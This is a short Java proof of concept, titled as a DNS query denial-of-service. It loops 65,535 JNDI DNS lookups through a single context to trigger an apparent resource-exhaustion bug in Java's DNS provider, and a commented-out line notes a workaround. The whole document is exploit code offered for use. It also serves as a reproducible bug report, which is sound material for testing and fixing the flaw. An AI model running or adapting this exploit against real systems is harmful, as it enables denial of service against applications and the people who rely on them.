Java JNI/DNS Queries DoSimport java.util.*;
import javax.naming.directory.*;
public class DNSLookupBug {
public static void main(String[] args) {
try {
final Hashtable env = new Hashtable();
env.put("java.naming.factory.initial",
"com.sun.jndi.dns.DnsContextFactory");
DirContext dnsContext = new InitialDirContext(env);
final String[] domain = new String[] {"A"};
for (int i = 0; i < 0xffff; i++) {
dnsContext.getAttributes("sun.com", domain);
if (i % 1000 == 0) {
// use this as a workaround
//dnsContext = new InitialDirContext(env);
System.out.println(i);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}